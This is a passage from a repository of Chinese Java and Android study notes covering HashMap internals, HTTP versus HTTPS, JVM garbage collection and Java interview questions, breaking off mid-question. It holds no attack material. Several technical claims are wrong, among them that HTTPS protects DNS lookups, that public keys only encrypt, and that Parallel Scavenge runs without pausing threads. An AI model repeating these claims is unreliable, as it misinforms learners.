如果我们再次放入同样的key会怎样呢？它会替换老的value。在迭代的过程中，会调用equals()方法来检查key的相等性(key.equals(k))，\n\t\t\t// 如果这个方法返回true，它就会用当前Entry的value来替换之前的value。\n\t\t\tV oldValue = e.value;\n\t\t\te.value = value;\n\t\t\te.recordAccess(this);\n\t\t\treturn oldValue;\n\t\t}\n\t}\n\t// 如果计算出来的索引位置没有元素，就直接把Entry对象放到那个索引上。\n\tmodCount++;\n\taddEntry(hash, key, value, i);\n\treturn null;\n}\n```\n再看一下`get`方法:　　　　\n```java\n/**\n  * Returns the value to which the specified key is mapped, or {@code null}\n  * if this map contains no mapping for the key.\n  *\n  * <p>\n  * More formally, if this map contains a mapping from a key {@code k} to a\n  * value {@code v} such that {@code (key==null ? k==null :\n  * key.equals(k))}, then this method returns {@code v}; otherwise it returns\n  * {@code null}. (There can be at most one such mapping.)\n  *\n  * </p><p>\n  * A return value of {@code null} does not <i>necessarily</i> indicate that\n  * the map contains no mapping for the key; it's also possible that the map\n  * explicitly maps the key to {@code null}. The {@link #containsKey\n  * containsKey} operation may be used to distinguish these two cases.\n  *\n  * @see #put(Object, Object)\n  */\npublic V get(Object key) {\n    // 如果key是null，table[0]这个位置的元素将被返回。\n\tif (key == null)\n\t\treturn getForNullKey();\n\t// 计算hash值\n\tint hash = hash(key.hashCode());\n\t// indexFor(hash,table.length)用来计算要获取的Entry对象在table数组中的精确的位置，使用刚才计算的hash值。\n\tfor (Entry<k , V> e = table[indexFor(hash, table.length)]; e != null; e = e.next) {\n\t\tObject k;\n\t\t// 在获取了table数组的索引之后，会迭代链表，调用equals()方法检查key的相等性，如果equals()方法返回true，get方法返回Entry对象的value，否则，返回null。\n\t\tif (e.hash == hash && ((k = e.key) == key || key.equals(k)))\n    \t\treturn e.value;\n\t\t}\n\treturn null;\n}\n```\n\n总结:     \n\n- `HashMap`有一个叫做`Entry`的内部类，它用来存储`key-value`对。\n- 上面的`Entry`对象是存储在一个叫做`table`的`Entry`数组中。\n- `table`的索引在逻辑上叫做“桶”`(bucket)`，它存储了链表的第一个元素。\n- `key`的`hashcode()`方法用来找到`Entry`对象所在的桶。\n- 如果两个`key`有相同的`hash`值，他们会被放在`table`数组的同一个桶里面。\n- `key`的`equals()`方法用来确保`key`的唯一性。\n- `value`对象的`equals()`和`hashcode()`方法根本一点用也没有。\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/Http与Https的区别.md",
    "content": "Http与Https的区别\n===\n\n`http`(超文本传输协议)\n---\n\n缺点:    \n\n- 通信使用明文（不加密），内容可能会被窃听\n- 不验证通信方的身份，因此有可能遭遇伪装\n- 无法证明报文的完整性，所以有可能已遭篡改\n\n优点:    \n\n- 传输速度快\n\n\n`https`\n---\n\n`Https`并非是应用层的一种新协议。只是`http`通信接口部分用`SSL`(安全套接字层)和`TLS`(安全传输层协议)代替而已。即添加了加密及认证机制的`HTTP`称为`HTTPS(HTTP Secure)`.    \n\n```\nHTTP + 加密 + 认证 + 完整性保护 = HTTPS\n```\n\n\n如何保证安全\n--- \n\n一般来说网络安全关心三个问题:`CIA(confidentiality, integrity, availability)`.          \n那`https`在这三方面做的怎么样呢？        \n- `https`保证了`confidentiality`（你浏览的页面的内容如果被人中途看见，将会是一团乱码。不会发生比如和你用同一个无线网的人收到一个你发的数据包，打开来一看，就是你的密码啊银行卡信息啊)\n- `intergrity`(你浏览的页面就是你想浏览的，不会被黑客在中途修改，网站收到的数据包也是你最初发的那个，不会把你的数据给换掉，搞一个大新闻)\n- 最后一个`availability`几乎没有提供（虽然我个人认为会增加基础`DOS`等的难度，但是这个不值一提），不过`https`还提供了另一个`A`，`authentication`(你连接的是你连接的网站，而不是什么人在中途伪造了一个网站给你，专业上叫`Man In The Middle Attack`)。      \n那`https`具体保护了啥？简单来说，保护了你从连接到这个网站开始，到你关闭这个页面为止，你和这个网站之间收发的所有信息，就连`url`的一部分都被保护了。同时`DNS querying`这一步也被保护了，\n不会发生你输入`www.google.com`实际上跑到了另一个网站去了。\n\n\n\n#### 使用两把密钥的公开密钥加密\n\n公开密钥加密使用一对非对称的密钥。一把叫做私钥，另一把叫做公钥。私钥不能让其他任何人知道，而公钥则可以随意发布，任何人都可以获得。使用公钥加密方式，发送密文的一方使用对方的公钥进行加密处理，对方收到被加密的信息后，再使用自己的私钥进行解密。利用这种方式，不需要发送用来解密的私钥，也不必担心密钥被攻击者窃听而盗走。\n\n\n过程\n---\n\n- 服务器把自己的公钥登录至数字证书认证机构。\n- 数字证书机构把自己的私有密钥向服务器的公开密码部署数字签名并颁发公钥证书。\n- 客户端拿到服务器的公钥证书后，使用数字证书认证机构的公开密钥，向数字证书认证机构验证公钥证书上的数字签名。以确认服务器公钥的真实性。\n- 使用服务器的公开密钥对报文加密后发送。\n- 服务器用私有密钥对报文解密。\n\n\n`HTTPS`通信的步骤\n---\n\n- 客户端发送报文进行`SSL`通信。报文中包含客户端支持的`SSL`的指定版本、加密组件列表（加密算法及密钥长度等）。\n- 服务器应答，并在应答报文中包含`SSL`版本以及加密组件。服务器的加密组件内容是从接受到的客户端加密组件内筛选出来的。\n- 服务器发送报文，报文中包含公开密钥证书。\n- 服务器发送报文通知客户端，最初阶段`SSL`握手协商部分结束。\n- `SSL`第一次握手结束之后，客户端发送一个报文作为回应。报文中包含通信加密中使用的一种被称`Pre-master secret`的随机密码串。该密码串已经使用服务器的公钥加密。\n- 客户端发送报文，并提示服务器，此后的报文通信会采用`Pre-master secret`密钥加密。\n- 客户端发送`Finished`报文。该报文包含连接至今全部报文的整体校验值。这次握手协商是否能够完成成功，要以服务器是否能够正确解密该报文作为判定标准。\n- 服务器同样发送`Change Cipher Spec`报文。\n- 服务器同样发送`Finished`报文。\n- 服务器和客户端的`Finished`报文交换完毕之后，`SSL`连接就算建立完成。\n- 应用层协议通信，即发送`HTTP`响应。\n- 最后由客户端断开链接。断开链接时，发送`close_nofify`报文。\n\n\n`HTTPS`的工作原理\n---\n\n`HTTPS`在传输数据之前需要客户端（浏览器）与服务端（网站）之间进行一次握手，在握手过程中将确立双方加密传输数据的密码信息。`TLS/SSL`协议不仅仅是一套加密传输的协议，更是一件经过艺术家精心设计的艺术品，`TLS/SSL`中使用了非对称加密，对称加密以及`HASH`算法。握手过程的简单描述如下:    \n- 浏览器将自己支持的一套加密规则发送给网站。\n- 网站从中选出一组加密算法与`HASH`算法，并将自己的身份信息以证书的形式发回给浏览器。证书里面包含了网站地址，加密公钥，以及证书的颁发机构等信息。\n- 获得网站证书之后浏览器要做以下工作:      \n\n    - 验证证书的合法性（颁发证书的机构是否合法，证书中包含的网站地址是否与正在访问的地址一致等），如果证书受信任，则浏览器栏里面会显示一个小锁头，否则会给出证书不受信的提示。\n    - 如果证书受信任，或者是用户接受了不受信的证书，浏览器会生成一串随机数的密码，并用证书中提供的公钥加密。\n    - 使用约定好的HASH计算握手消息，并使用生成的随机数对消息进行加密，最后将之前生成的所有信息发送给网站。\n\n- 网站接收浏览器发来的数据之后要做以下的操作:   \n\n    - 使用自己的私钥将信息解密取出密码，使用密码解密浏览器发来的握手消息，并验证HASH是否与浏览器发来的一致。\n    - 使用密码加密一段握手消息，发送给浏览器。\n\n- 浏览器解密并计算握手消息的`HASH`，如果与服务端发来的`HASH`一致，此时握手过程结束，之后所有的通信数据将由之前浏览器生成的随机密码并利用对称加密算法进行加密。\n\n这里浏览器与网站互相发送加密的握手消息并验证，目的是为了保证双方都获得了一致的密码，并且可以正常的加密解密数据，为后续真正数据的传输做一次测试。另外，`HTTPS`一般使用的加密与`HASH`算法如下:   \n\n- 非对称加密算法:`RSA`，`DSA/DSS`\n- 对称加密算法:`AES`，`RC4`，`3DES`\n- `HASH`算法:`MD5`，`SHA1`，`SHA256`\n\n\n其中非对称加密算法用于在握手过程中加密生成的密码，对称加密算法用于对真正传输的数据进行加密，而`HASH`算法用于验证数据的完整性。由于浏览器生成的密码是整个数据加密的关键，因此在传输的时候使用了非对称加密算法对其加密。非对称加密算法会生成公钥和私钥，公钥只能用于加密数据，因此可以随意传输，而网站的私钥用于对数据进行解密，所以网站都会非常小心的保管自己的私钥，防止泄漏。\n\n`TLS`握手过程中如果有任何错误，都会使加密连接断开，从而阻止了隐私信息的传输。正是由于`HTTPS`非常的安全，攻击者无法从中找到下手的地方，于是更多的是采用了假证书的手法来欺骗客户端，从而获取明文的信息，但是这些手段都可以被识别出来，\n\n\n优点\n---\n\n尽管`HTTPS`并非绝对安全，掌握根证书的机构、掌握加密算法的组织同样可以进行中间人形式的攻击，但`HTTPS`仍是现行架构下最安全的解决方案，主要有以下几个好处:   \n\n- 使用`HTTPS`协议可认证用户和服务器，确保数据发送到正确的客户机和服务器\n- `HTTPS`协议是由`SSL+HTTP`协议构建的可进行加密传输、身份认证的网络协议，要比`http`协议安全，可防止数据在传输过程中不被窃取、改变，确保数据的完整性。\n- `HTTPS`是现行架构下最安全的解决方案，虽然不是绝对安全，但它大幅增加了中间人攻击的成本。\n- 谷歌曾在2014年8月份调整搜索引擎算法，并称比起同等`HTTP`网站，采用`HTTPS`加密的网站在搜索结果中的排名将会更高。\n\n缺点\n---\n\n虽然说HTTPS有很大的优势，但其相对来说，还是存在不足之处的:   \n\n- `HTTPS`协议握手阶段比较费时，会使页面的加载时间延长近`50%`，增加`10%`到`20%`的耗电；\n- `HTTPS`连接缓存不如`HTTP`高效，会增加数据开销和功耗，甚至已有的安全措施也会因此而受到影响；\n- `SSL`证书需要钱，功能越强大的证书费用越高，个人网站、小网站没有必要一般不会用。\n- `SSL`证书通常需要绑定`IP`，不能在同一`IP`上绑定多个域名，`IPv4`资源不可能支撑这个消耗。\n- `HTTPS`协议的加密范围也比较有限，在黑客攻击、拒绝服务攻击、服务器劫持等方面几乎起不到什么作用。最关键的，`SSL`证书的信用链体系并不安全，特别是在某些国家可以控制`CA`根证书的情况下，中间人攻击一样可行。\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/JVM垃圾回收机制.md",
    "content": "JVM垃圾回收机制\n===\n\n引用计数算法\n---\n\n在`JDK1.2`之前，使用的是引用计数器算法，即当这个类被加载到内存以后，就会产生方法区，\n堆栈、程序计数器等一系列信息，当创建对象的时候，为这个对象在堆栈空间中分配对象，\n同时会产生一个引用计数器，同时引用计数器+1，当有新的引用的时候，引用计数器继续+1，\n而当其中一个引用销毁的时候，引用计数器-1，当引用计数器被减为零的时候，\n标志着这个对象已经没有引用了，可以回收了！\n这种算法在JDK1.2之前的版本被广泛使用，但是随着业务的发展，很快出现了一个问题，那就是互相引用的问题:   \n```java\nObjA.obj = ObjB\nObjB.obj - ObjA\n```\n这样的代码会产生如下引用情形`objA`指向`objB`，而`objB`又指向`objA`，这样当其他所有的引用都消失了之后，\n`objA`和`objB`还有一个相互的引用，也就是说两个对象的引用计数器各为1，\n而实际上这两个对象都已经没有额外的引用，已经是垃圾了。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/yinyongjishu.jpg)\n\n根搜索算法\n---\n\n根搜索算法是从离散数学中的图论引入的，程序把所有的引用关系看作一张图，\n从一个节点`GC ROOT`开始，寻找对应的引用节点，找到这个节点以后，继续寻找这个节点的引用节点，\n当所有的引用节点寻找完毕之后，剩余的节点则被认为是没有被引用到的节点，即无用的节点。           \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/genshousuo.jpg)\n\n目前java中可作为GC Root的对象有:    \n\n- 虚拟机栈中引用的对象（本地变量表）\n- 方法区中静态属性引用的对象\n- 方法区中常量引用的对象\n- 本地方法栈中引用的对象（Native对象）\n\n垃圾回收算法\n---\n\n而手机后的垃圾是通过什么算法来回收的呢：   \n\n- 标记-清除算法\n- 复制算法\n- 标记整理算法\n\n那我们就继续分析下这三种算法：  \n\n- 标记-清除算法(Mark-Sweep)        \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/biaoji_qingchu.jpg)\n    标记-清除算法采用从根集合进行扫描，对存活的对象对象标记，标记完毕后，再扫描整个空间中未被标记  的对象，进行回收，如上图所示。\n    标记-清除算法不需要进行对象的移动，并且仅对不存活的对象进行处理，在存活对象比较多的情况下极为高效，但由于标记-清除算法直接回收不存活的对象，因此会造成内存碎片！\n\n- 复制算法(Copying)           \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/fuzhisuanfa.jpg)\n\n    复制算法采用从根集合扫描，并将存活对象复制到一块新的，没有使用过的空间中，这种算法当控件存活的对象比较少时，极为高效，但是带来的成本是需要一块内存交换空间用于进行对象的移动。\n \n- 标记-整理算法(Mark-Compact)              \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/biaoji_zhengli.jpg)\n \n    整理算法采用标记-清除算法一样的方式进行对象的标记，但在清除时不同，在回收不存活的对象占用的空间后，会将所有的存活对象往左端空闲空间移动，并更新对应的指针。标记-整理算法是在标记-清除算法的基础上，又进行了对象的移动，因此成本更高，但是却解决了内存碎片的问题。\n\n- 分代收集算法(Generational Collection)\n    分代收集算法是目前大部分`JVM`的垃圾收集器采用的算法。它的核心思想是根据对象存活的生命周期将内存划分为若干个不同的区域。\n\t一般情况下将堆区划分为老年代（`Tenured Generation`）和新生代（`Young Generation`），老年代的特点是每次垃圾收集时只有少量对象需要被回收，\n\t而新生代的特点是每次垃圾回收时都有大量的对象需要被回收，那么就可以根据不同代的特点采取最适合的收集算法。\n　　目前大部分垃圾收集器对于新生代都采取复制算法，因为新生代中每次垃圾回收都要回收大部分对象，也就是说需要复制的操作次数较少，\n    但是实际中并不是按照1：1的比例来划分新生代的空间的，一般来说是将新生代划分为一块较大的`Eden`空间和两块较小的`Survivor`空间，\n\t每次使用`Eden`空间和其中的一块`Survivor`空间，当进行回收时，将`Eden`和`Survivor`中还存活的对象复制到另一块`Survivor`空间中，\n\t然后清理掉`Eden`和刚才使用过的`Survivor`空间。\n\n　　而由于老年代的特点是每次回收都只回收少量对象，一般使用的是标记-整理算法。\n　　注意，在堆区之外还有一个代就是永久代（`Permanet Generation`），它用来存储`class`类、常量、方法描述等。对永久代的回收主要回收两部分内容：\n    废弃常量和无用的类。         \n\t![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/xinshengdai.jpg)\n\t对象的内存分配，往大方向上讲就是在堆上分配，对象主要分配在新生代的`Eden Space`和`From Space`，\n\t少数情况下会直接分配在老年代。如果新生代的`Eden Space`和`From Space`的空间不足，则会发起一次`GC`，如果进行了`GC`之后，`Eden Space`和`From Space`\n\t能够容纳该对象就放在`Eden Space`和`From Space`。在`GC`的过程中，会将`Eden Space`和`From  Space`中的存活对象移动到`To Space`，\n\t然后将`Eden Space`和`From Space`进行清理。如果在清理的过程中，`To Space`无法足够来存储某个对象，就会将该对象移动到老年代中。\n\t在进行了`GC之`后，使用的便是`Eden space`和`To Space`了，下次`GC`时会将存活对象复制到`From Space`，如此反复循环。\n\t当对象在`Survivor`区躲过一次`GC`的话，其对象年龄便会加1，默认情况下，如果对象年龄达到15岁，就会移动到老年代中。\n\t\n垃圾收集器\n---\n\n垃圾收集算法是内存回收的理论基础，而垃圾收集器就是内存回收的具体实现。\n下面介绍一下`HotSpot(JDK 7)`虚拟机提供的几种垃圾收集器，用户可以根据自己的需求组合出各个年代使用的收集器。\t\n- Serial/Serial Old\n    `Serial/Serial Old`收集器是最基本最古老的收集器，它是一个单线程收集器，并且在它进行垃圾收集时，\n\t必须暂停所有用户线程。`Serial`收集器是针对新生代的收集器，采用的是`Copying`算法，`Serial Old`收集器是针对老年代的收集器，\n\t采用的是`Mark-Compact`算法。它的优点是实现简单高效，但是缺点是会给用户带来停顿。\n\t\n- ParNew\n    `ParNew`收集器是`Serial`收集器的多线程版本，使用多个线程进行垃圾收集。\t\n\t\n- Parallel Scavenge\t\n    `Parallel Scavenge`收集器是一个新生代的多线程收集器（并行收集器），它在回收期间不需要暂停其他用户线程，其采用的是`Copying`算法，\n\t该收集器与前两个收集器有所不同，它主要是为了达到一个可控的吞吐量。\n\n- Parallel Old\n    `Parallel Old`是`Parallel Scavenge`收集器的老年代版本（并行收集器），使用多线程和`Mark-Compact`算法。\t\n\t\n- CMS\n    `CMS(Current Mark Sweep)`收集器是一种以获取最短回收停顿时间为目标的收集器，它是一种并发收集器，采用的是`Mark-Sweep`算法。\t\n\t\n- G1\n    `G1`收集器是当今收集器技术发展最前沿的成果，它是一款面向服务端应用的收集器，它能充分利用多`CPU`、多核环境。因此它是一款并行与并发收集器，\n\t并且它能建立可预测的停顿时间模型。\t\n\t\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/Java基础面试题.md",
    "content": "Java基础面试题\n===\n\n本部分全部内容是根据张孝祥老师的Word文档整理而来。只不过是为了方便观看，把代码部分用`markdown`来展示。整理时脑海中不断回忆起张老师上课的情景，真是怀念。\n\n1. 一个`.java`源文件中是否可以包括多个类（不是内部类）？有什么限制？            \n    可以有多个类，但只能有一个public的类，并且public的类名必须与文件名相一致。\n2. `Java`有没有`goto`?       \n    `java`中的保留字，现在没有在`java`中使用。\n3. 说说`&`和`&&`的区别。        \n\t`&`和`&&`都可以用作逻辑与的运算符，表示逻辑与`(and)`，当运算符两边的表达式的结果都为`true`时，整个运算结果才为`true`，\n    否则，只要有一方为`false`，则结果为`false`。\n\t`&&`还具有短路的功能，即如果第一个表达式为`false`，则不再计算第二个表达式，例如，对于`if(str != null && !str.equals(“”))`表达式，当`str`为`null`时，\n\t后面的表达式不会执行，所以不会出现`NullPointerException`如果将`&&`改为`&`，则会抛出`NullPointerException`异常。\n\n4. 在`JAVA`中如何跳出当前的多重嵌套循环？         \n\t在`Java`中，要想跳出多重循环，可以在外面的循环语句前定义一个标号，然后在里层循环体的代码中使用带有标号的`break`语句，即可跳出外层循环。例如，\n\t```java\n\tok:\n\tfor(int i=0;i<10;i++) {\n\t\tfor(int j=0;j<10;j++) {\n\t\t\tSystem.out.println(“i=” + i + “,j=” + j);\n\t\t\tif(j == 5) break ok;\n\t\t}\n\t} \n\t```\n\t另外，我个人通常并不使用标号这种方式，而是让外层的循环条件表达式的结果可以受到里层循环体代码的控制，例如，要在二维数组中查找到某个数字。\n\t```java\n\tint arr[][] = ...;\n\tboolean found = false;\n\tfor(int i=0;i<arr.length && !found;i++) {\n\t\t\tfor(int j=0;j<arr[i].length;j++) {\n\t\t\t\tSystem.out.println(“i=” + i + “,j=” + j);\n\t\t\t\tif(arr[i][j]  == 5) {\n\t\t\t\t\tfound = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} \n\t}\n\t```\n5. `switch`语句能否作用在`byte`上，能否作用在`long`上，能否作用在`String`上?                   \n\t在`switch（expr1）`中，`expr1`只能是一个整数表达式或者枚举常量（更大字体），整数表达式可以是`int`基本类型或`Integer`包装类型，由于，\n\t`byte`,`short`,`char`都可以隐含转换为`int`，所以，这些类型以及这些类型的包装类型也是可以的。显然，`long`和`String`类型都不符合`switch`的语法规定，\n\t并且不能被隐式转换成`int`类型，所以，它们不能作用于`swtich`语句中。 \n6. `short s1 = 1; s1 = s1 + 1`;有什么错? `short s1 = 1; s1 += 1`;有什么错?               \n\t对于`short s1 = 1; s1 = s1 + 1`; 由于`s1+1`运算时会自动提升表达式的类型，所以结果是`int`型，再赋值给`short`类型`s1`时，编译器将报告需要强制转换类型的错误。\n\t对于`short s1 = 1; s1 += 1`;由于`+=`是`java`语言规定的运算符，`java`编译器会对它进行特殊处理，因此可以正确编译。 \n7. `char`型变量中能不能存贮一个中文汉字?为什么?               \n\t`char`型变量是用来存储`Unicode`编码的字符的，`unicode`编码字符集中包含了汉字，所以`char`型变量中当然可以存储汉字啦。不过，\n\t如果某个特殊的汉字没有被包含在`unicode`编码字符集中，那么这个`char`型变量中就不能存储这个特殊汉字。补充说明：`unicode`编码占用两个字节，\n\t所以`char`类型的变量也是占用两个字节。\n\t备注：后面一部分回答虽然不是在正面回答题目，但是，为了展现自己的学识和表现自己对问题理解的透彻深入，可以回答一些相关的知识，做到知无不言，言无不尽。 \n8. 用最有效率的方法算出2乘以8等於几?             \n\t`2 << 3`，            \n\t因为将一个数左移`n`位，就相当于乘以了`2`的`n`次方，那么，一个数乘以8只要将其左移3位即可，而位运算`cpu`直接支持的，效率最高，\n\t所以2乘以8等於几的最效率的方法是`2 << 3`。\n9. 请设计一个一百亿的计算器                   \n\t首先要明白这道题目的考查点是什么，一是大家首先要对计算机原理的底层细节要清楚、要知道加减法的位运算原理和知道计算机中的算术运算会发生越界的情况，\n\t二是要具备一定的面向对象的设计思想。首先，计算机中用固定数量的几个字节来存储的数值，所以计算机中能够表示的数值是有一定的范围的，\n\t为了便于讲解和理解，我们先以`byte` 类型的整数为例，它用1个字节进行存储，表示的最大数值范围为-128到+127。-1在内存中对应的二进制数据为11111111，\n\t如果两个-1相加，不考虑Java运算时的类型提升，运算后会产生进位，二进制结果为1,11111110，由于进位后超过了byte类型的存储空间，所以进位部分被舍弃，\n\t即最终的结果为11111110，也就是-2，这正好利用溢位的方式实现了负数的运算。-128在内存中对应的二进制数据为10000000，如果两个-128相加，\n\t不考虑Java运算时的类型提升，运算后会产生进位，二进制结果为1,00000000，由于进位后超过了byte类型的存储空间，所以进位部分被舍弃，\n\t即最终的结果为00000000，也就是0，这样的结果显然不是我们期望的，这说明计算机中的算术运算是会发生越界情况的，\n\t两个数值的运算结果不能超过计算机中的该类型的数值范围。由于Java中涉及表达式运算时的类型自动提升，\n\t我们无法用byte类型来做演示这种问题和现象的实验，大家可以用下面一个使用整数做实验的例子程序体验一下：        \n\t```java\n\tint a = Integer.MAX_VALUE;          \n\tint b = Integer.MAX_VALUE;           \n\tint sum = a + b;            \n\tSystem.out.println(“a=”+a+”,b=”+b+”,sum=”+sum);             \n\t```\n\t先不考虑long类型，由于int的正数范围为2的31次方，表示的最大数值约等于2*1000*1000*1000，也就是20亿的大小，所以，要实现一个一百亿的计算器，\n\t我们得自己设计一个类可以用于表示很大的整数，并且提供了与另外一个整数进行加减乘除的功能，大概功能如下：            \n\t（）这个类内部有两个成员变量，一个表示符号，另一个用字节数组表示数值的二进制数       \n\t（）有一个构造方法，把一个包含有多位数值的字符串转换到内部的符号和字节数组中          \n\t（）提供加减乘除的功能    \n\t```java\n\tpublic class BigInteger {\n\t\tint sign;\n\t\tbyte[] val;\n\t\tpublic Biginteger(String val) {\n\t\t\tsign = ;\n\t\t\tval = ;\n\t\t}\n\t\tpublic BigInteger add(BigInteger other) {\n\t\t}\n\t\tpublic BigInteger subtract(BigInteger other) {\n\t\t}\n\t\tpublic BigInteger multiply(BigInteger other) {\n\t\t}\n\t\tpublic BigInteger divide(BigInteger other) {\n\t\t}\n\t}\n\t```\n\t备注：要想写出这个类的完整代码，是非常复杂的，如果有兴趣的话，可以参看jdk中自带的java.math.BigInteger类的源码。\n\t面试的人也知道谁都不可能在短时间内写出这个类的完整代码的，他要的是你是否有这方面的概念和意识，他最重要的还是考查你的能力，\n\t所以，你不要因为自己无法写出完整的最终结果就放弃答这道题，你要做的就是你比别人写得多，证明你比别人强，你有这方面的思想意识就可以了，\n\t毕竟别人可能连题目的意思都看不懂，什么都没写，你要敢于答这道题，即使只答了一部分，那也与那些什么都不懂的人区别出来，拉开了距离，算是矮子中的高个，\n\t机会当然就属于你了。另外，答案中的框架代码也很重要，体现了一些面向对象设计的功底，特别是其中的方法命名很专业，用的英文单词很精准，\n\t这也是能力、经验、专业性、英语水平等多个方面的体现，会给人留下很好的印象，在编程能力和其他方面条件差不多的情况下，英语好除了可以使你获得更多机会外，\n\t薪水可以高出一千元。 \n10. 使用`final`关键字修饰一个变量时，是引用不能变，还是引用的对象不能变？           \n\t使用`final`关键字修饰一个变量时，是指引用变量不能变，引用变量所指向的对象中的内容还是可以改变的。例如，对于如下语句：\n\t`final StringBuffer a=new StringBuffer(\"immutable\");`         \n\t执行如下语句将报告编译期错误：         \n\t`a=new StringBuffer(\"\");`         \n\t但是，执行如下语句则可以通过编译：        \n\t`a.append(\" broken!\");`              \n\t有人在定义方法的参数时，可能想采用如下形式来阻止方法内部修改传进来的参数对象：        \n\t```java\n\tpublic void method(final  StringBuffer  param) {       \n\t} \n\t```\n\t实际上，这是办不到的，在该方法内部仍然可以增加如下代码来修改参数对象：\n\t`param.append(\"a\");`\n11. `==`和`equals`方法究竟有什么区别？    \n\t（单独把一个东西说清楚，然后再说清楚另一个，这样，它们的区别自然就出来了，混在一起说，则很难说清楚）\n\t`==`操作符专门用来比较两个变量的值是否相等，也就是用于比较变量所对应的内存中所存储的数值是否相同，要比较两个基本类型的数据或两个引用变量是否相等，\n\t只能用`==`操作符。如果一个变量指向的数据是对象类型的，那么，这时候涉及了两块内存，对象本身占用一块内存（堆内存），变量也占用一块内存，\n\t例如`Objet obj = new Object();`变量obj是一个内存，new Object()是另一个内存，此时，变量obj所对应的内存中存储的数值就是对象占用的那块内存的首地址。\n\t对于指向对象类型的变量，如果要比较两个变量是否指向同一个对象，即要看这两个变量所对应的内存中的数值是否相等，这时候就需要用==操作符进行比较。\n\tequals方法是用于比较两个独立对象的内容是否相同，就好比去比较两个人的长相是否相同，它比较的两个对象是独立的。例如，对于下面的代码：            \n\t`String a=new String(\"foo\");`           \n\t`String b=new String(\"foo\");`      \n\t两条new语句创建了两个对象，然后用a,b这两个变量分别指向了其中一个对象，这是两个不同的对象，它们的首地址是不同的，即a和b中存储的数值是不相同的，\n\t所以，表达式a==b将返回false，而这两个对象中的内容是相同的，所以，表达式a.equals(b)将返回true。\n\t在实际开发中，我们经常要比较传递进行来的字符串内容是否等，例如，String input = …;input.equals(“quit”)，许多人稍不注意就使用==进行比较了，\n\t这是错误的，随便从网上找几个项目实战的教学视频看看，里面就有大量这样的错误。记住，字符串的比较基本上都是使用equals方法。\n\t如果一个类没有自己定义equals方法，那么它将继承Object类的equals方法，Object类的equals方法的实现代码如下：       \n\t```java\n\tboolean equals(Object o){\n\t\treturn this==o;\n\t}\n\t```\n\t这说明，如果一个类没有自己定义equals方法，它默认的equals方法（从Object 类继承的）就是使用==操作符，也是在比较两个变量指向的对象是否是同一对象，\n\t这时候使用equals和使用==会得到同样的结果，如果比较的是两个独立的对象则总返回false。如果你编写的类希望能够比较该类创建的两个实例对象的内容是否相同，\n\t那么你必须覆盖equals方法，由你自己写代码来决定在什么情况即可认为两个对象的内容是相同的。\n12. 静态变量和实例变量的区别？ \n\t在语法定义上的区别：静态变量前要加`static`关键字，而实例变量前则不加。     \n\t在程序运行时的区别：实例变量属于某个对象的属性，必须创建了实例对象，其中的实例变量才会被分配空间，才能使用这个实例变量。静态变量不属于某个实例对象，\n\t而是属于类，所以也称为类变量，只要程序加载了类的字节码，不用创建任何实例对象，静态变量就会被分配空间，静态变量就可以被使用了。\n\t总之实例变量必须创建对象后才可以通过这个对象来使用，静态变量则可以直接使用类名来引用。\n\t例如，对于下面的程序，无论创建多少个实例对象，永远都只分配了一个`static Var`变量，并且每创建一个实例对象，这个staticVar就会加1；但是，每创建一个实例对象，\n\t就会分配一个instanceVar，即可能分配多个instanceVar，并且每个instanceVar的值都只自加了1次。\n\t```java\n\tpublic class VariantTest {\n\t\tpublic static int staticVar = 0; \n\t\tpublic int instanceVar = 0; \n\t\tpublic VariantTest()\n\t\t{\n\t\t\tstaticVar++;\n\t\t\tinstanceVar++;\n\t\t\tSystem.out.println(“staticVar=” + staticVar + ”,instanceVar=” + instanceVar);\n\t\t}\n\t}\n\t```\n\t备注：这个解答除了说清楚两者的区别外，最后还用一个具体的应用例子来说明两者的差异，体现了自己有很好的解说问题和设计案例的能力，思维敏捷，\n\t超过一般程序员，有写作能力！\n13. 是否可以从一个static方法内部发出对非static方法的调用？                \n\t不可以。因为非static方法是要与对象关联在一起的，必须创建一个对象后，才可以在该对象上进行方法调用，而static方法调用时不需要创建对象，可以直接调用。\n\t也就是说，当一个static方法被调用时，可能还没有创建任何实例对象，如果从一个static方法中发出对非static方法的调用，那个非static方法是关联到哪个对象上的呢？\n\t这个逻辑无法成立，所以，一个static方法内部发出对非static方法的调用。\n14. Integer与int的区别                   \n\tint是java提供的8种原始数据类型之一。Java为每个原始类型提供了封装类，Integer是java为int提供的封装类。int的默认值为0，而Integer的默认值为null，\n\t即Integer可以区分出未赋值和值为0的区别，int则无法表达出未赋值的情况，例如，要想表达出没有参加考试和考试成绩为0的区别，则只能使用Integer。\n\t在JSP开发中，Integer的默认为null，所以用el表达式在文本框中显示时，值为空白字符串，而int默认的默认值为0，所以用el表达式在文本框中显示时，结果为0，\n\t所以，int不适合作为web层的表单数据的类型。在Hibernate中，如果将OID定义为Integer类型，那么Hibernate就可以根据其值是否为null而判断一个对象是否是临时的，\n\t如果将OID定义为了int类型，还需要在hbm映射文件中设置其unsaved-value属性为0。另外，Integer提供了多个与整数相关的操作方法，例如，将一个字符串转换成整数，\n\tInteger中还定义了表示整数的最大值和最小值的常量。\n15. Math.round(11.5)等於多少? Math.round(-11.5)等於多少?                  